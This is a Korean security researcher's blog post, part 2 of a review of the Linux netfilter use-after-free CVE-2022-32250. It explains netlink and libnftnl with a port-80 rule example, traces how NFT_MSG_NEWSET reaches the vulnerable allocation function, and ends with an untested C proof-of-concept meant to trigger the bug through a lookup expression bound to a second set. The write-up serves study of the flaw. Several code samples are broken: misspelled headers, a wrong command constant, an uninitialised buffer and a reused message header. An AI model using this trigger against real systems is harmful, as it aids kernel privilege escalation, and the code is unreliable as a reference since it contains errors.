An Exhibition of A Hunger Artist 1nzag (graypanda) Security researcher

CVE-2022-32250 Review - Part2

Intro

저번 포스트에서 나는 CVE-2022-32250 취약점의 RCA를 공부했다.

이번 포스트에서는 해당 원인을 트리거 하여 간단한 PoC를 제작한다.

우선, 저번 포스트에서는 놓친게 하나 있다. 저번엔 RCA 에서 nft_set_elem_expr_alloc() 함수에서 취약점이 시작된다고 했다.

그럼 nft_set_elem_expr_alloc() 함수는 도데체 어떻게 호출을 시킬 수 있는 걸까?

Theori 의 게시물 에서는 취약점의 설명을 다음과 같이 하고 있다.

CVE-2022–32250 is a use-after-free vulnerability in the Netfilter subsystem. The vulnerability occurs when a new nftset is added with a NFT_MSG_NEWSET command. When processing lookup and dynset expressions, freed chunk remains in set->binding list due to an incorrect NFT_STATEFUL_EXPR check. For this reason, use-after-free write occurs.

그럼 NFT_NEW_SET이란 뭘까? NFT_NEW_SETnft_set_elem_expr_alloc() 은 무슨 관계가 있는 것일까?

netfilter 는 userland 에서 패킷을 관리 하기 위해 만들어진 프레임워크이다. 따라서 저번 포스트에서 맨 처음에 작성한 net filter structure 들은 모두 패킷을 관리하기 위한 체인과 룰, 표현식에 관련한 구조체들이다.

앞서 설명한 체인, 룰, 설명식 들은 모두 커널 내의 nf-table 에 등록되어 처리된다.

그럼 유저는 어떻게 nf-table 에 접근하고, 어떻게 룰을 등록할 수 있을까?

우리는 netlink 라는 프로토콜을 통해 netfilter table 에 접근 할 수 있다. netlink는 유저에서 커널로, 커널에서 유저로 네트워킹 정보를 전달하기 위해 만들어진 커널인터페이스 및 프로토콜이다.

netlink 프로토콜을 사용하기 위해선 다음과 같이 소켓을 열어주면 된다.

int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);

libnftnl.h

굳이 프로토콜의 세부사항 까지 이해해 가면서 socket을 쓸 필요 없이 userland 에서 netlinlk 를 통해 이러한 표현식과 룰을 추가하기 위한 라이브러리가 있는데, 대표적으로 libnftnliptables 가 있다.

개인적으로 가볍게 공부해 본 결과 iptableslibnftnl 보다 조금 더 추상적으로 사용하기 때문에 libnftnl을 중점으로 설명하겠다.

nftnl 라이브러리로 네트워크의 패킷 필터 룰을 추가해보자.

목적은 80포트로 들어오는 패킷들을 allow 해주는 것이다.

먼저 netlink 메시지의 헤더를 구성해보자. netlink의 헤더는 libnftnlnftnl_rule_nlmsg_build_hdr() 함수를 통해 할 수 있다.

struct nlmsghdr *nftnl_rule_nlmsg_build_hdr(char *buf, uint16_t cmd, uint16_t family, uint16_t flags, uint32_t seq);

여기서 인자는 다음과 같다.

  • buf: netlink 메시지를 저장할버퍼
  • cmd: 수행할 명령의 종류
  • family: 규칙이 적용될 프로토콜 패밀리 (ipv4/ipv6)
  • flags: netlink 메시지 플래그
  • seq: 메시지 시퀀스 번호

nftnl_rule_nlmsg_build_hdr() 함수는 나머지 4개의 인자를 받아들여 netlink 메시지 헤더의 정보로 만들어주고 그 메시지를 buf에 저장해준다. 또한 반환값으로, nl 형태의 헤더 구조체를 반환한다.

이떄 2번째 인자인 cmdNFT_MSG_NEWRULE, NFT_MSG_DERULE 등의 명령어 들이 존재하고, 4번째 인자인 flags 의 경우는 NLM_F_ACK, NLM_F_CREATE 등이 있다.

그럼 netlink 헤더를 구성해보자.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <linux/netfilter/nf_tables.h>
#include <libftnl/chain.h>
#include <libfntl/rule.h>
#include <libftnl/expr.h>
#include <libmnl/libmnl.h>

int main(void)
{
    char* buf;
    struct nlmsghdr *nlh;
    nlh = nftnl_rule_nlmsg_build_hdr(buf, NET_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, 0);
}   

다음과 같이 NET_MSG_NEWRULE 을 통해 새로운 룰을 추가하는 명령어를 가진 netlink 버퍼 헤더를 초기화 해줬다.

다음으로는 netfilter에 들어갈 체인을 생성해보자.

struct nftnl_chain *chain;

chain = nftnl_chain_alloc();
nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, "filter");
nftnl_chain_set(chain, NFTNL_CHAIN_NAME, "input");

nftnl_chain_alloc() 함수는 새로운 nftable 의 체인 객체를 생성해주는 함수이다.

nftnl_chain_set은 생성된 체인 객체에 체인의 이름이나 테이블을 등록해주는 함수이다.

위의 코드는 체인을 생성하면서, 생성된 체인의 이름을 "input"으로 해주고, 해당 체인을 "filter" 테이블에 등록해주는 과정이다. "filter" 테이블은 nf-table 에서 제공하는 기본 테이블 중 하나이다.

이제 생성한 체인 안에 들어갈 룰을 생성해주자.

struct nftnl_rule *rule;

rule = nftnl_rule_alloc();
nftnl_rule_set(rule, NFTNL_RULE_TABLE, "filter");
nftnl_rule_set(rule, NFTNL_RULE_CHAIN, "input")

nftnl_rule_alloc() 함수는 새로운 룰을 생성해주는 함수이고, nftnl_rule_set() 함수는 생성된 룰 객체에 설정을 해주는 함수이다.

위의 코드는 룰을 생성하면서, "filter" 테이블의 "input" 체인 안에 해당 룰을 넣는 다는 의미이다.

다음으로는 생성한 룰에 대한 표현식을 추가해주자. 먼저 목적지 포트가 80인 패킷을 가져오는 표현식을 만든다.

struct nftnl_expr *expr;
uint16_t dport = htons(80);

expr = nftnl_expr_alloc("payload");
nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_TRANSPORT_HEADER);
nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_OFFSET, offsetof(struct tcphdr, dest));
nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_LEN, sizeof(dport));
nftnl_rule_add_expr(rule, expr);

nftnl_expr_alloc() 함수는 새로운 표현식을 생성해주는 함수이고, nftnl_expr_set_u32() 함수는 표현식을 설정하는 함수이다.

먼저 "payload" 형식의 표현식을 만든다. "payload" 형식의 표현식은 패킷의 특정 검사할 값을 가져오는 표현식이다.

그 다음으로는 해당 표현식에 다음과 같은 설정을 넣는다.

  1. NFTNL_EXPR_PAYLOAD_DREG - NFT_REG_1: NFT_REG_1 이라는 netfilter 레지스터에 검사할 패킷의 데이터를 가져온다.
  2. NFTNL_EXPR_PAYLOAD_BASE - NFT_PAYLOAD_TRANSPORT_HEADER: TCP/UDP 헤더를 검사한다. NFTNL_EXPR_PAYLOAD_BASE 는 패킷 내에서 검사할 기준위치를 설정한다.
  3. NFTNL_EXPR_PAYLOAD_OFFSET - offsetof(struct tcphdr, dest): 헤더에서 포트부분에 해당하는 오프셋의 데이터를 지정한다. 이부분을 검사한다는 뜻이다.
  4. NFTNL_EXPR_PAYLOAD_LEN - sizeof(dport): 검사할 데이터의 길이를 가져온다.

즉 이 표현식은 TCP / IP 헤더에서 목적지 포트 부분의 WORD 값을 검사할 부분으로 지정하고, NFT_REG_1에 그 값을 가져온다는 표현식이다.

마지막으로 nftnl_rule_add_expr() 함수를 통해 해당 표현식을 룰에 추가한다.

다음으로는 검사할 부분에 포트가 80인지 비교하는 표현식을 생성해서 등록해주자.

expr = nftnl_expr_alloc("cmp");
nftnl_expr_set_u32(expr, NFTNL_EXPR_CMP_SREG, NFT_REG_1);
nftnl_expr_set_u32(expr, NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
nftnl_expr_set_u32(expr, NFTNL_EXPR_CMP_DATA, &dport, sizeof(dport));
nftnl_rule_add_expr(rule,expr);

"cmp" 형식의 표현식을 생성하고, 전에 "payload" 형식의 표현식에서 가져왔던 port 데이터가 80과 같은지 매칭하는 표현을 설정한다.

마지막으로 해당 80 포트로 향하는 패킷을 ACCEPT 하는 표현식을 생성하여 룰에 등록하자.

expr = nftnl_expr_alloc("accept");
nftnl_rule_add_expr(rule, expr);

이제 생성된 규칙을 netlink 메시지로 전환해 주자.

nftnl_rule_nlmsg_build_payload(nlh, rule);

nlh는 맨처음에생성해 주었던 netlink의 헤더이고, 그 헤더와 생성한 룰을 조합해 netlink 메시지를 생성한다.

마지막으로 생성한 메시지를 netlink에 보내주면 된다 .

struct mnl_socket *nl;

nl = mnl_socket_open(NETLINK_NETFILTER);

mnl_socket_sendto(nl, nlh, nlh->nlmsg_len);

코드를 하나로 조합해주면 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>

int main() {
    struct mnl_socket *nl;
    struct nftnl_rule *rule;
    struct nftnl_chain *chain;
    struct nftnl_expr *expr;
    struct nlmsghdr *nlh;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t seq = time(NULL);
    uint32_t family = NFPROTO_IPV4;
    uint16_t dport = htons(80);
    char *table = "filter";
    char *chain_name = "input";

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }

    chain = nftnl_chain_alloc();
    nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, table);
    nftnl_chain_set(chain, NFTNL_CHAIN_NAME, chain_name);

    nlh = nftnl_chain_nlmsg_build_hdr(buf, NFT_MSG_NEWCHAIN, family, 
                                     NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq);
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    nftnl_chain_free(chain);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }

    rule = nftnl_rule_alloc();
    nftnl_rule_set(rule, NFTNL_RULE_TABLE, table);
    nftnl_rule_set(rule, NFTNL_RULE_CHAIN, chain_name);

    expr = nftnl_expr_alloc("payload");
    nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_TRANSPORT_HEADER);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_OFFSET, offsetof(struct tcphdr, dest));
    nftnl_expr_set_u32(expr, NFTNL_EXPR_PAYLOAD_LEN, sizeof(dport));
    nftnl_rule_add_expr(rule, expr);

    expr = nftnl_expr_alloc("cmp");
    nftnl_expr_set_u32(expr, NFTNL_EXPR_CMP_SREG, NFT_REG_1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
    nftnl_expr_set(expr, NFTNL_EXPR_CMP_DATA, &dport, sizeof(dport));
    nftnl_rule_add_expr(rule, expr);

    expr = nftnl_expr_alloc("accept");
    nftnl_rule_add_expr(rule, expr);

    nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_NEWRULE, family, 
                                     NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq);
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    nftnl_rule_free(rule);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }
    return 0;
}

Netfilter Set

Netfilter 의 구조는 table, chain, rule, expression 이 있다고 설명했었다. 하지만 table에는 chain 말고 다른 구조가 하나 더 있는데, 그것이 바로 set 이다.

다시 한면 table 의 구조를 보자

  • include/net/netfilter/nf_table.c
struct nft_table {
	struct list_head		list;
	struct rhltable			chains_ht;
	struct list_head		chains;
	struct list_head		sets;
	struct list_head		objects;
	struct list_head		flowtables;
	u64				hgenerator;
	u64				handle;
	u32				use;
	u16				family:6,
					flags:8,
					genmask:2;
	u32				nlpid;
	char				*name;
	u16				udlen;
	u8				*udata;
};

chains 외에 sets 관련 필드가 존재하는 것을 볼 수 있다.

set 이란 expression 이 참조하는 데이터들의 집합이다. 예를 들면 ip, port 등의 데이터들을 모아놓는 필드라고 볼 수 있다.

역시 테이블 내에 set을 추가하는 api 가 존재한다.

int nftnl_set_set_str(struct nftnl_set *set, uint16_t attr, const char *str);
int nftnl_set_set_u32(struct nftnl_set *set, uint16_t attr, uint32_t value);

또한 set의 동작을 정의하거나 조건부 데이터를 넣기 위해 set내에 expr 을 추가할 수 있다.

expr 을 추가하는 api 역시 존재한다.

int nftnl_set_add_expr(struct nftnl_set *set, struct nftnl_expr *expr);

먄약 lookup 표현식에 대한 rule 에서 특정 set을 참조하게 하고 싶다면, 다음과 같이 하면 된다.

expr = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(expr, NFTNL_EXPR_LOOKUP_SET, "my_set");
nftnl_rule_add_expr(rule, expr);

여기서 "my_set" 이라는 문자열은 대상 set의 이름을 의미한다.

NFT_MSG_NEWSET

이쯤 돼서 다시 Theori의 글을 보자.

CVE-2022–32250 is a use-after-free vulnerability in the Netfilter subsystem. The vulnerability occurs when a new nftset is added with a NFT_MSG_NEWSET command. When processing lookup and dynset expressions, freed chunk remains in set->binding list due to an incorrect NFT_STATEFUL_EXPR check. For this reason, use-after-free write occurs.

NFT_MSG_NEWSET 명령어에서 취약점이 발생한다 했는데, 이 명령어는 바로 netlink로 전송하는 메시지 헤더의 cmd 필드이다.

netlink 에서 헤더에 명령어를 보내면, 커널 내에서 각 명령어에 대한 핸들러를 작동시킨다.

  • net/netfilter/nf_tables_api.c
static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
	[NFT_MSG_NEWTABLE] = {
		.call		= nf_tables_newtable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
	[NFT_MSG_GETTABLE] = {
		.call		= nf_tables_gettable,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
	[NFT_MSG_DELTABLE] = {
		.call		= nf_tables_deltable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
	[NFT_MSG_NEWCHAIN] = {
		.call		= nf_tables_newchain,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_CHAIN_MAX,
		.policy		= nft_chain_policy,
	},
	[NFT_MSG_GETCHAIN] = {
		.call		= nf_tables_getchain,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_CHAIN_MAX,
		.policy		= nft_chain_policy,
	},
	[NFT_MSG_DELCHAIN] = {
		.call		= nf_tables_delchain,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_CHAIN_MAX,
		.policy		= nft_chain_policy,
	},
	[NFT_MSG_NEWRULE] = {
		.call		= nf_tables_newrule,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_RULE_MAX,
		.policy		= nft_rule_policy,
	},
	[NFT_MSG_GETRULE] = {
		.call		= nf_tables_getrule,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_RULE_MAX,
		.policy		= nft_rule_policy,
	},
	[NFT_MSG_DELRULE] = {
		.call		= nf_tables_delrule,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_RULE_MAX,
		.policy		= nft_rule_policy,
	},
	[NFT_MSG_NEWSET] = {
		.call		= nf_tables_newset,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_SET_MAX,
		.policy		= nft_set_policy,
	},
	[NFT_MSG_GETSET] = {
		.call		= nf_tables_getset,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_SET_MAX,
		.policy		= nft_set_policy,
	},
	[NFT_MSG_DELSET] = {
		.call		= nf_tables_delset,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_SET_MAX,
		.policy		= nft_set_policy,
	},
	[NFT_MSG_NEWSETELEM] = {
		.call		= nf_tables_newsetelem,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_SET_ELEM_LIST_MAX,
		.policy		= nft_set_elem_list_policy,
	},
	[NFT_MSG_GETSETELEM] = {
		.call		= nf_tables_getsetelem,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_SET_ELEM_LIST_MAX,
		.policy		= nft_set_elem_list_policy,
	},
	[NFT_MSG_DELSETELEM] = {
		.call		= nf_tables_delsetelem,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_SET_ELEM_LIST_MAX,
		.policy		= nft_set_elem_list_policy,
	},
	[NFT_MSG_GETGEN] = {
		.call		= nf_tables_getgen,
		.type		= NFNL_CB_RCU,
	},
	[NFT_MSG_NEWOBJ] = {
		.call		= nf_tables_newobj,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_OBJ_MAX,
		.policy		= nft_obj_policy,
	},
	[NFT_MSG_GETOBJ] = {
		.call		= nf_tables_getobj,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_OBJ_MAX,
		.policy		= nft_obj_policy,
	},
	[NFT_MSG_DELOBJ] = {
		.call		= nf_tables_delobj,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_OBJ_MAX,
		.policy		= nft_obj_policy,
	},
	[NFT_MSG_GETOBJ_RESET] = {
		.call		= nf_tables_getobj,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_OBJ_MAX,
		.policy		= nft_obj_policy,
	},
	[NFT_MSG_NEWFLOWTABLE] = {
		.call		= nf_tables_newflowtable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_FLOWTABLE_MAX,
		.policy		= nft_flowtable_policy,
	},
	[NFT_MSG_GETFLOWTABLE] = {
		.call		= nf_tables_getflowtable,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_FLOWTABLE_MAX,
		.policy		= nft_flowtable_policy,
	},
	[NFT_MSG_DELFLOWTABLE] = {
		.call		= nf_tables_delflowtable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_FLOWTABLE_MAX,
		.policy		= nft_flowtable_policy,
	},
};

여기서 NFT_MSG_NEWSET 명령어에 대한 핸들러를 살펴보자

[NFT_MSG_NEWSET] = {
    .call		= nf_tables_newset,
    .type		= NFNL_CB_BATCH,
    .attr_count	= NFTA_SET_MAX,
    .policy		= nft_set_policy,
},

NFT_MSG_NEWSET 명령어를 수신하면, nf_tables_newset() 함수가 핸들러로 작동하는 것을 볼 수 있다.

nf_tables_newset() 함수를 보자.

static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
			    const struct nlattr * const nla[])
{
    /*...*/
    	if (nla[NFTA_SET_EXPR]) {
		expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]);
		if (IS_ERR(expr)) {
			err = PTR_ERR(expr);
			goto err_set_expr_alloc;
		}
		set->exprs[0] = expr;
		set->num_exprs++;
    }
    /*...*/
}

set에 expression 이 등록되면 nft_set_elem_expr_alloc() 함수를 호출하는 것을 알 수 있다!

따라서 우리는 NFT_MSG_NEWSET 명령어를 netlink에 보냄으로써 취약점을 유발하는 함수를 트리거 할 수 있다.

  • 의문이 드는 점은 NFT_MSG_NEWSETELEM 명령어를 통해서도 nft_set_elem_expr_alloc() 함수를 트리거 할 수 있는데, 왜 이 벡터는 설명하지 않았는지가 궁금하다. 한번 문의해 볼 수 있으면 좋겠다.

trigger

그럼 직접 해당 취약점을 트리거 해보자.

먼저 set 하나를 할당 한 뒤, lookup expresssion을 새로운 set에 할당하고, 먼저 생성했던 set에 바인딩을 해주게 된다면 dangling pointer 를 생성할 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/set.h>
#include <libmnl/libmnl.h>
//#include <arpa/inet.h>

int main() {
    struct mnl_socket *nl;
    struct nftnl_table *table;
    struct nftnl_set *set1;
    struct nftnl_set *set2;
    struct nftnl_expr *expr;
    struct nlmsghdr *nlh;
    char buf[MNL_SOCKET_BUFFER_SIZE];

    uint32_t seq = time(NULL);
    uint32_t family = NFPROTO_IPV4;
    uint16_t dport = htons(80);

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if(mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }
    
    table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, "poctable");
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    nlh = nftnl_table_nlmsg_build_hdr(buf, NFT_MSG_NEWTABLE, family, 
                                     NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq);
    nftnl_table_nlmsg_build_payload(nlh, table);
    nftnl_table_free(table);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }

    set1 = nftnl_set_alloc();
    nftnl_set_set_str(set1, NFTNL_SET_TABLE, "poctable");
    nftnl_set_set_str(set1, NFTNL_SET_NAME, "pocset1");
    nftnl_set_set_u32(set1, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set1, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set1, NFTNL_SET_ID, 0);

    nftnl_set_nlmsg_build_payload(nlh, set1);
    nftnl_set_free(set1);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }

    set2 = nftnl_set_alloc();
    nftnl_set_set_str(set2, NFTNL_SET_TABLE, "poctable");
    nftnl_set_set_str(set2, NFTNL_SET_NAME, "pocset2");
    nftnl_set_set_u32(set2, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set2, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set2, NFTNL_SET_ID, 0);

    expr = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(expr, NFTNL_EXPR_LOOKUP_SET, "pocset1");
    nftnl_expr_set_u32(expr, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_set_add_expr(set2, expr);

    nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_NEWSET, family, 
                                     NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq);
    nftnl_set_nlmsg_build_payload(nlh, set2);
    nftnl_set_free(set2);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        mnl_socket_close(nl);
        exit(EXIT_FAILURE);
    }
    
}

Conclusion

사실 이 코드는 이론적으로만 만든 코드 이고, 실제 실험을 해보진 못했다.

커널 에 KASAN 까지 넣고 빌드해서 실험을 해볼라 했는데, -lmnl 링크가 static 하게 빌드가 되지 않아, 파일시스템을 새로 만들어야했다.

이것까지는 시간이 좀 걸릴 거 같아서 일단 뒤로 미뤄두고 다음 공부를 하기로 했다.

나중에 리눅스에 더 익숙해지면 다시 찾아와 PoC 를 완성시켜야겠다.

References